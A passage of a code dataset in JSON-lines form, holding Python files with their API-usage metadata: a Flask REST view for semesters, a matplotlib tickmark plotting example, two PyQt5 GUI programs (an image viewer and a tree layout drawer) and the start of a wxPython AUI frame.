teacher_required\n\n\nmod = Blueprint('restful', __name__, url_prefix='/api')\n\n\ndef _json(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n response = func(*args, **kwargs)\n if not isinstance(response, Response):\n raise TypeError('only response are supported')\n response.headers['Content-Type'] = 'text/json'\n return response\n return wrapper\n\n\nclass SemesterView(MethodView):\n\n @_json\n def get(self):\n return make_response(json.dumps([s.to_json() for s in Semester.query.all()]))\n\n @teacher_required\n @login_required\n def post(self):\n app.logger.debug(request.form)\n form = NewSemesterForm(request.form)\n if not form.validate():\n return abort(400)\n\n s = Semester(form.name.data, form.year.data)\n session.add(s)\n try:\n session.commit()\n except SQLAlchemyError as err:\n app.logger.exception('commiting transaction failed: %s', err)\n session.rollback()\n return abort(500)\n\n return make_response(jsonify(s.to_json()), 201)\n\n @teacher_required\n @login_required\n @_json\n def delete(self):\n form = DeleteSemesterForm(request.form)\n form.semester_ids.choices = [(s.id, s) for s in Semester.query.all()]\n if not form.validate():\n return abort(400)\n\n to_remove = []\n for id in form.semester_ids.data:\n s = Semester.query.get(id)\n if s is None:\n app.logger.warning('trying to remove nonexisting Semester record, id=%d', id)\n for c in s.courses:\n session.delete(c)\n to_remove.append(id)\n session.delete(s)\n\n try:\n session.commit()\n except SQLAlchemyError as e:\n app.logger.error('commiting object removal failed, error=%s', e)\n session.rollback()\n return abort(500)\n return make_response(json.dumps(to_remove))\n\n\nmod.add_url_rule('/semesters/', view_func=SemesterView.as_view('semesters'))\n\n", "sub_path": "pwryoursite/views/restful.py", "file_name": "restful.py", "file_ext": "py", "file_size_in_byte": 2513, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Blueprint", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 23, "usage_type": "argument"}, {"api_name": "functools.wraps", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.views.MethodView", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 34, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 34, "usage_type": "call"}, {"api_name": "pwryoursite.models.Semester.query.all", "line_number": 34, "usage_type": "call"}, {"api_name": "pwryoursite.models.Semester.query", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pwryoursite.models.Semester", "line_number": 34, "usage_type": "name"}, {"api_name": "pwryoursite.app.logger.debug", "line_number": 39, "usage_type": "call"}, {"api_name": "pwryoursite.app.logger", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pwryoursite.app", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "pwryoursite.forms.semester.NewSemesterForm", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 42, "usage_type": "call"}, {"api_name": "pwryoursite.models.Semester", "line_number": 44, "usage_type": "call"}, {"api_name": "pwryoursite.session.add", "line_number": 45, "usage_type": "call"}, {"api_name": "pwryoursite.session", "line_number": 45, "usage_type": "name"}, {"api_name": "pwryoursite.session.commit", "line_number": 47, "usage_type": "call"}, {"api_name": "pwryoursite.session", "line_number": 47, "usage_type": "name"}, {"api_name": "sqlalchemy.exc.SQLAlchemyError", "line_number": 48, "usage_type": "name"}, {"api_name": "pwryoursite.app.logger.exception", "line_number": 49, "usage_type": "call"}, {"api_name": "pwryoursite.app.logger", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pwryoursite.app", "line_number": 49, "usage_type": "name"}, {"api_name": "pwryoursite.session.rollback", "line_number": 50, "usage_type": "call"}, {"api_name": "pwryoursite.session", "line_number": 50, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 53, "usage_type": "call"}, {"api_name": "pwryoursite.controllers.authentication.teacher_required", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 37, "usage_type": "name"}, {"api_name": "pwryoursite.forms.semester.DeleteSemesterForm", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "pwryoursite.models.Semester.query.all", "line_number": 60, "usage_type": "call"}, {"api_name": "pwryoursite.models.Semester.query", "line_number": 60, "usage_type": "attribute"}, {"api_name": "pwryoursite.models.Semester", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 62, "usage_type": "call"}, {"api_name": "pwryoursite.models.Semester.query.get", "line_number": 66, "usage_type": "call"}, {"api_name": "pwryoursite.models.Semester.query", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pwryoursite.models.Semester", "line_number": 66, "usage_type": "name"}, {"api_name": "pwryoursite.app.logger.warning", "line_number": 68, "usage_type": "call"}, {"api_name": "pwryoursite.app.logger", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pwryoursite.app", "line_number": 68, "usage_type": "name"}, {"api_name": "pwryoursite.session.delete", "line_number": 70, "usage_type": "call"}, {"api_name": "pwryoursite.session", "line_number": 70, "usage_type": "name"}, {"api_name": "pwryoursite.session.delete", "line_number": 72, "usage_type": "call"}, {"api_name": "pwryoursite.session", "line_number": 72, "usage_type": "name"}, {"api_name": "pwryoursite.session.commit", "line_number": 75, "usage_type": "call"}, {"api_name": "pwryoursite.session", "line_number": 75, "usage_type": "name"}, {"api_name": "sqlalchemy.exc.SQLAlchemyError", "line_number": 76, "usage_type": "name"}, {"api_name": "pwryoursite.app.logger.error", "line_number": 77, "usage_type": "call"}, {"api_name": "pwryoursite.app.logger", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pwryoursite.app", "line_number": 77, "usage_type": "name"}, {"api_name": "pwryoursite.session.rollback", "line_number": 78, "usage_type": "call"}, {"api_name": "pwryoursite.session", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 80, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 80, "usage_type": "call"}, {"api_name": "pwryoursite.controllers.authentication.teacher_required", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 56, "usage_type": "name"}]} {"seq_id": "29011899", "text": "\"\"\"\nNCL_tm_2.py\n===============\nConcepts illustrated:\n - Explicitly setting tickmarks and labels on the bottom X axis\n - Setting the spacing for tickmarks\n - Setting the mininum/maximum value of the Y axis in an XY plot\n - Changing the width and height of a plot\n\nThis Python script reproduces the NCL plot script found here: https://www.ncl.ucar.edu/Applications/Scripts/tm_2.ncl\n\nThe NCL graphics and description for this script are found here: https://www.ncl.ucar.edu/Applications/tickmarks.shtml#ex2\n\"\"\"\n\n\n###############################################################################\n# Import the necessary python libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MultipleLocator, FormatStrFormatter\n\n\n###############################################################################\n# Create the plot data.\n# Note that range() top value is not included in the returned array of values.\n\nx_data = np.arange(1950, 2006)\ny_data = np.random.uniform(-4, 4, 56)\n\n# Print out a formatted message; note the starting 'f' for the string.\nprint(f\"There are { len(x_data) } values in x_data, and { len(y_data) } values in y_data.\")\n\n\n###############################################################################\n# Create plot.\n\n# Make a subplot with major ticks that are multiples of 5.\n\n# Figure size is (width, height) inches.\nplt.figure(1, figsize=(8, 6))\n\n# Create a subplot grid with two rows and one column (stacked subplots), and\n# set the current plot context to the top subplot.\nax1 = plt.subplot(2, 1, 1)\n\n# Format the tick labels. Use integers for the major ticks.\n# For the minor ticks, use no labels; defaults to NullFormatter.\nax1.xaxis.set_major_formatter(FormatStrFormatter('%d'))\nax1.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))\n\n# Set the major tick spacing.\nmajor_tick_spacing = 5\nax1.xaxis.set_major_locator(MultipleLocator(major_tick_spacing))\nspacingString = f'Tick Spacing = {major_tick_spacing}'\n\n# Draw ticks on all sides of the plot.\nplt.tick_params(which='both', top=True, right=True)\n\n# Increase the length of the tick marks.\nplt.tick_params(which='major', length=10.0, width=0.5)\nplt.tick_params(which='minor', length=5.0, width=0.25)\n\n# Set the minor tick spacing for X and Y axes.\nax1.xaxis.set_minor_locator(MultipleLocator(1.25))\nax1.yaxis.set_minor_locator(MultipleLocator(0.5))\n\n# Add a descriptive string to the top left corner of the plot.\nax1.text(0.01, 1.1, spacingString, transform=ax1.transAxes, fontWeight='bold')\n\n# Plot the line and set the X axis limits.\nplt.plot(x_data, y_data, color='black', linewidth=0.5)\nplt.xlim((1949, 2006))\n\n# Set the Y axis limits explicitly, because sometimes the random values change Y limits unexpectedly.\nplt.ylim(-4.2, 4.2)\n\n# Make a subplot with major ticks that are set to explicit values and minor ticks that\n# are multiples of 1.\n\n# Set the current plot context to the bottom subplot.\nax2 = plt.subplot(2, 1, 2)\n\n# Set the tick locations on the X axis.\nxtick_locations = [1950, 1960, 1970, 1980, 1990, 2000, 2005]\nplt.xticks(xtick_locations, fontSize=10)\n\n# Format the tick labels.\n# For the minor ticks, use no labels; defaults to NullFormatter.\nax2.xaxis.set_major_formatter(FormatStrFormatter('%d'))\nax2.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))\n\n# Draw ticks on all sides of the plot.\nplt.tick_params(which='both', top=True, right=True)\n\n# Increase the length of the tick marks.\nplt.tick_params(which='major', length=10.0, width=0.5)\nplt.tick_params(which='minor', length=5.0, width=0.25)\n\n# Set the minor tick spacing for X and Y axes.\nax2.xaxis.set_minor_locator(MultipleLocator(1))\nax2.yaxis.set_minor_locator(MultipleLocator(0.5))\n\n# Add a descriptive string to the top left corner of the plot.\nax2.text(0.01, 1.1, \"Ticks Set Explicitly\", transform=ax2.transAxes, fontWeight='bold')\n\n# Plot the line and set the X axis limits.\nplt.plot(x_data, y_data, color='black', linewidth=0.5)\nplt.xlim((1949, 2006))\n\n# Set the Y axis limits explicitly, because sometimes the random values change Y limits unexpectedly.\nplt.ylim(-4.2, 4.2)\n\n# Create more space between subplots\nplt.subplots_adjust(hspace=0.4)\n\n# Draw the entire plot on the screen.\nplt.show()\n", "sub_path": "Plots/XY/NCL_tm_2.py", "file_name": "NCL_tm_2.py", "file_ext": "py", "file_size_in_byte": 4199, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.arange", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 28, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}]} {"seq_id": "295960398", "text": "# -*- coding: utf-8 -*-\nimport sys\nfrom PyQt5.QtWidgets import (QApplication, QWidget, QScrollArea, QLabel,QDesktopWidget,QMainWindow,QVBoxLayout)\nfrom PyQt5 import QtWidgets,QtGui\nfrom PyQt5.QtGui import QPainter, QColor, QFont\nfrom PyQt5.QtCore import QEvent\n\n\nclass MainWindow(QMainWindow):\n def __init__(self, parent=None):\n QMainWindow.__init__(self, parent)\n\n self._initUI()\n\n def _initUI(self):\n w = QWidget()\n self.setCentralWidget(w)\n\n topFiller = QWidget()\n topFiller.setStyleSheet(\"background-color:white;\")\n topFiller.setMinimumSize (1200, 8000)\n\n\n for i in range(1,11):\n path='C:/Users/Braggart/PycharmProjects/nice/analysephoto/'+str(i)+'.png'\n png=QtGui.QPixmap(path)\n label1 = QLabel(topFiller)\n label1.setPixmap(png)\n label1.move(250, (i-1)*750)\n\n label2 = QLabel(topFiller)\n file=open('C:/Users/Braggart/PycharmProjects/nice/analysephoto/'+str(i)+'.txt')\n label2.setText(file.read())\n label2.move(300, (i)*750-100)\n label2.setFont(QFont(\"Microsoft YaHei\",11, 75))\n\n\n scroll = QScrollArea()\n scroll.setWidget(topFiller)\n scroll.setAutoFillBackground(True)\n scroll.setWidgetResizable(True)\n\n vbox = QVBoxLayout()\n vbox.addWidget(scroll)\n w.setLayout(vbox)\n\n\n self.statusBar().showMessage(self.tr(u\"最终解释权归杨欣越所有\"))\n self.setWindowTitle(self.tr(\"Menus\"))\n self.resize(700,320)\n\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n mainwindow = MainWindow()\n mainwindow.show()\n sys.exit(app.exec_())\n\n", "sub_path": "gui_text/resultshow.py", "file_name": "resultshow.py", "file_ext": "py", "file_size_in_byte": 1696, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 9, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.__init__", "line_number": 11, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 11, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 16, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 19, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 26, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 31, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 35, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QScrollArea", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 43, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 55, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 58, "usage_type": "call"}]} {"seq_id": "38226615", "text": "import sys\nfrom PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QButtonGroup\nfrom PyQt5.QtGui import QIcon, QPainter, QBrush, QPen\nfrom PyQt5.QtCore import pyqtSlot, Qt\nfrom collections.abc import Sequence\nfrom itertools import chain, count\nimport numpy as np\nimport tree\n\n\n\n\n\n\ntestData = '''( (IP-MAT\n (NP-SBJ (PRO-D Honum))\n (VBDI blöskraði)\n (PP\n (P þegar)\n (CP-ADV\n (C 0)\n (IP-SUB\n (NP-SBJ (NP (D-D þessi) (N-D niðurstaða)))\n (RDDI varð)\n (ADJP (ADJ-N ljós)))))))'''\n\n\n\n\ntestVal = tree.Tree([testData], 0)\n\n\n\nclass App(QWidget):\n\n def __init__(self, text):\n super().__init__()\n self.positions = []\n self.rightmostX = 0\n self.paintPos = []\n self.currentID = 1\n self.currentPosition = [0]\n self.buttongroup = QButtonGroup()\n self.title = 'Tree'\n self.left = 10\n self.top = 10\n self.width = 700\n self.height = 700\n self.bWidth = 80\n self.bHeight = 40\n self.margin = 20\n self.selected = []\n\n self.depth = self.findDepth(text)\n self.initUI(text)\n \n def increseID(self):\n self.currentID += 1\n\n\n #draws a arrow from parent to child\n def paintEvent(self, event):\n for i in self.paintPos:\n qp = QPainter()\n pxPos = int(i[\"pxPos\"])\n pyPos = int(i[\"pyPos\"])\n cxPos = int(i[\"cxPos\"])\n cyPos = int(i[\"cyPos\"])\n\n\n qp.begin(self)\n\n qp.setPen(Qt.red)\n\n qp.setBrush(Qt.white)\n qp.drawLine(pxPos, pyPos, cxPos, cyPos)\n qp.end()\n\n def initUI(self, text):\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.buttongroup.buttonClicked[int].connect(self.on_button_clicked)\n if not self.buttongroup.buttons():\n\n buttons = self.createButtons(text)\n for b in buttons:\n button = QPushButton(b[\"name\"], self)\n button.setGeometry(int(b[\"xpos\"]),int(b[\"ypos\"]),self.bWidth,self.bHeight)\n self.buttongroup.addButton(button,b[\"id\"])\n \n\n\n #button1.clicked.connect(self.on_click)\n #button2.clicked.connect(self.on_click)\n self.paintEvent(\"test\")\n #TEMP CHANGE LATER\n self.show()\n\n def on_button_clicked(self,ID):\n print(ID)\n\n def createButtons(self,text):\n buttons = []\n \n yPos = 10\n #below is temp, change later\n sent = text[0][1]\n depth = self.findDepth(sent)\n maxHeight = self.height // depth\n\n parentX = self.width/2\n parentY = self.bHeight + 40\n\n button = {\n \"id\": self.currentID,\n \"name\" : sent[0],\n \"xpos\" : self.width/2,\n \"ypos\" : self.bHeight + 40,\n \"position\": self.currentPosition[:]\n }\n buttons.append(button)\n self.positions.append(self.currentPosition[:])\n\n\n buttons2 = self.createLayout(sent,self.width/2, parentX + (self.bWidth/2), parentY + (self.bHeight/2))\n buttons = buttons + buttons2\n\n for i in buttons:\n t = \"print(sent\"\n for j in i[\"position\"]:\n temp = '[' + str(j) + ']'\n t += temp\n t += ')'\n exec(t)\n\n\n\n return buttons\n \n \n\n def findDepth(self, text):\n depth = lambda L: isinstance(L, list) and max(map(depth, L))+1\n return depth(text)\n\n def DefaultXPos(self, sentence, xPos, buttons):\n #find how many notes are in this depth excluding the head\n\n #start by checking if the rightmost xposition is clos\n\n length = len(sentence)-1\n xPositions = []\n #create list of xPositions\n \n if length%2 == 0:\n\n #find new xpos in respect to the children of previous note\n \n left = []\n right = []\n\n #left list\n for i in range(int(length/2)):\n if not left:\n left.append(xPos-(self.bWidth + 20))\n else:\n left.append(left[-1]-(self.bWidth + 20))\n\n #right list\n for i in range(int(length/2)):\n if not right:\n right.append(xPos+(self.bWidth + 20))\n else:\n right.append(right[-1]+(self.bWidth + 20))\n\n left.reverse()\n xPositions = left + right\n else:\n mid = []\n mid.append(int(xPos))\n left = []\n right = []\n\n #left list\n for i in range(int((length-1)/2)):\n if not left:\n left.append(xPos-(self.bWidth + 20))\n else:\n left.append(left[-1]-(self.bWidth + 20))\n\n #right list\n for i in range(int((length-1)/2)):\n if not right:\n right.append(xPos+(self.bWidth + 20))\n else:\n right.append(right[-1]+(self.bWidth + 20))\n left.reverse()\n xPositions = left + mid + right\n return xPositions\n\n\n def createLayout(self, sentence, xPos, parentX, parentY, depth=2, buttons=[], currentPos = [0]):\n\n \n xPositions = self.DefaultXPos(sentence, xPos, buttons)\n \n for i in range(1,len(sentence)):\n currentPos[-1] = i\n if isinstance(sentence[i], list):\n if len(sentence[i]) == 2:\n if isinstance(sentence[i][0], str) and isinstance(sentence[i][1], str):\n if i == len(sentence) - 1:\n self.rightmostX = xPositions[i-1]\n #HEADER\n self.increseID()\n\n\n #paint the arrow from parent to child node\n if self.rightmostX >= xPositions[i-1]:\n if i != len(sentence)-1:\n xPositions[i-1] = self.rightmostX + self.bWidth + 20\n \n\n for i in range(i,len(xPositions)):\n xPositions[i] = xPositions[i-1] + (self.bWidth + 20)\n\n\n\n paint = {\n \"pxPos\" : parentX,\n \"pyPos\" : parentY,\n \"cxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"cyPos\" : (self.bHeight + 40)*depth + (self.bHeight/2)\n }\n self.paintPos.append(paint)\n \n \n self.appendPosition(currentPos[:])\n \n\n header = {\n \"id\": self.currentID,\n \"name\" : sentence[i][0],\n \"xpos\" : xPositions[i-1],\n \"ypos\" : (self.bHeight + 40)*depth,\n \"position\": currentPos[:] + [0]\n }\n\n buttons.append(header)\n #VALUE\n self.increseID()\n\n\n\n #paint the arrow from parent to child node\n paint2 = {\n \"pxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"pyPos\" : (self.bHeight + 40)*depth + (self.bHeight/2),\n \"cxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"cyPos\" : (self.bHeight + 40)*(depth+1) + (self.bHeight/2)\n }\n\n self.paintPos.append(paint2)\n self.appendPosition(currentPos[:])\n value = {\n \"id\": self.currentID,\n \"name\" : sentence[i][1],\n \"xpos\" : xPositions[i-1],\n \"ypos\" : (self.bHeight + 40)*(depth+1),\n \"position\": currentPos[:] + [1]\n }\n buttons.append(value)\n\n\n else:\n\n self.increseID()\n\n\n #paint the arrow from parent to child node\n paint = {\n \"pxPos\" : parentX,\n \"pyPos\" : parentY,\n \"cxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"cyPos\" : (self.bHeight + 40)*depth + (self.bHeight/2)\n }\n self.paintPos.append(paint)\n\n self.appendPosition(currentPos[:])\n\n header = {\n \"id\": self.currentID,\n \"name\" : sentence[i][0],\n \"xpos\" : xPositions[i-1],\n \"ypos\" : (self.bHeight + 40)*depth,\n \"position\": currentPos[:] + [0]\n }\n\n buttons.append(header)\n if isinstance(sentence[i][1][0], str) and isinstance(sentence[i][1][1], str):\n\n #HEADER\n self.increseID()\n\n \n \n #paint the arrow from parent to child node\n paint2 = {\n \"pxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"pyPos\" : (self.bHeight + 40)*depth + (self.bHeight/2),\n \"cxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"cyPos\" : (self.bHeight + 40)*(depth+1) + (self.bHeight/2)\n }\n\n self.paintPos.append(paint2)\n self.appendPosition(currentPos[:])\n\n header2 = {\n \"id\": self.currentID,\n \"name\" : sentence[i][1][0],\n \"xpos\" : xPositions[i-1],\n \"ypos\" : (self.bHeight + 40)*(depth+1),\n \"position\": currentPos[:] + [1] + [0]\n }\n buttons.append(header2)\n self.increseID()\n \n paint3 = {\n \"pxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"pyPos\" : (self.bHeight + 40)*(depth+1) + (self.bHeight/2),\n \"cxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"cyPos\" : (self.bHeight + 40)*(depth+2) + (self.bHeight/2)\n }\n\n self.paintPos.append(paint3)\n\n value = {\n \"id\": self.currentID,\n \"name\" : sentence[i][1][1],\n \"xpos\" : xPositions[i-1],\n \"ypos\" : (self.bHeight + 40)*(depth+2),\n \"position\": currentPos[:] + [1] + [1]\n }\n buttons.append(value)\n else:\n \n paint2 = {\n \"pxPos\" : xPositions[i-1] + (self.bWidth/2),\n \"pyPos\" : (self.bHeight + 40)*depth + (self.bHeight/2),\n \"cxPos\" : xPositions[i-1] + + (self.bWidth/2),\n \"cyPos\" : (self.bHeight + 40)*(depth+1) + (self.bHeight/2)\n }\n \n self.paintPos.append(paint2)\n self.increseID()\n header2 = {\n \"id\": self.currentID,\n \"name\" : sentence[i][1][0],\n \"xpos\" : xPositions[i-1],\n \"ypos\" : (self.bHeight + 40)*(depth+1),\n \"position\": currentPos[:] + [1] + [0]\n }\n \n\n tempPos = currentPos[:] + [1] + [0]\n buttons.append(header2)\n\n #define new parent X and parentY\n npX = xPositions[i-1] + (self.bWidth/2)\n npY = (self.bHeight + 40)*(depth+1) + (self.bHeight/2)\n self.createLayout(sentence[i][1], xPositions[i-1], npX, npY, depth+2, buttons, tempPos[:])\n else:\n \n tempxPos = xPositions[i-1]\n if isinstance(sentence[i][1], list):\n if len(sentence[i]) > 2: \n\n tempxPos = xPositions[i-1] + self.bWidth + 20\n else:\n print(\"<=2\")\n\n self.increseID()\n self.appendPosition(currentPos[:])\n \n paint2 = {\n \"pxPos\" : parentX,\n \"pyPos\" : parentY,\n \"cxPos\" : tempxPos + (self.bWidth/2),\n \"cyPos\" : (self.bHeight + 40)*depth + (self.bHeight/2)\n }\n self.paintPos.append(paint2)\n currentPos.append(0)\n header = {\n \"id\" : self.currentID,\n \"name\" : sentence[i][0],\n \"xpos\" : tempxPos,\n \"ypos\" : (self.bHeight + 40)*depth,\n \"position\": currentPos[:]\n }\n buttons.append(header)\n\n\n #define new parent X and parentY\n npX = tempxPos + (self.bWidth/2)\n npY = (self.bHeight + 40)*depth + (self.bHeight/2)\n \n self.createLayout(sentence[i], tempxPos, npX, npY, depth+1, buttons, currentPos[:])\n\n else:\n tempxPos = xPositions[i-1]\n\n currentPos.append(1)\n\n self.appendPosition(currentPos)\n\n value = {\n \"id\" : self.currentID,\n \"name\" : sentence[i],\n \"xpos\" : tempxPos,\n \"ypos\" : (self.bHeight + 40)*depth,\n \"position\": currentPos[:]\n }\n buttons.append(value)\n\n\n return buttons\n #else:\n\n def appendPosition(self,pos):\n self.positions = self.positions + [pos]\n \n\n\n\n\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = App(testVal.tree)\n sys.exit(app.exec_())", "sub_path": "test2.py", "file_name": "test2.py", "file_ext": "py", "file_size_in_byte": 15165, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tree.Tree", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 34, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QButtonGroup", "line_number": 43, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPainter", "line_number": 64, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.red", "line_number": 73, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 73, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.white", "line_number": 75, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 75, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 87, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 440, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 440, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 442, "usage_type": "call"}]} {"seq_id": "122547941", "text": "import wx\r\nimport wx.aui\r\n\r\n\r\nID_About = wx.NewId()\r\n\r\n\r\n\r\nclass AuiFrame(wx.Frame):\r\n def __init__(self,parent,id=-1,title=\"\",pos=wx.DefaultPosition,\r\n size=wx.DefaultSize, style=wx.DEFAULT_FRAME_STYLE |\r\n wx.SUNKEN_BORDER |\r\n wx.CLIP_CHILDREN):\r\n wx.Frame.__init__(self,parent,id,title,pos,size,style)\r\n self.createMenu()\r\n self.createSplitLayout()\r\n\r\n def createMenu(self):\r\n # create menu\r\n mb = wx.MenuBar()\r\n\r\n file_menu = 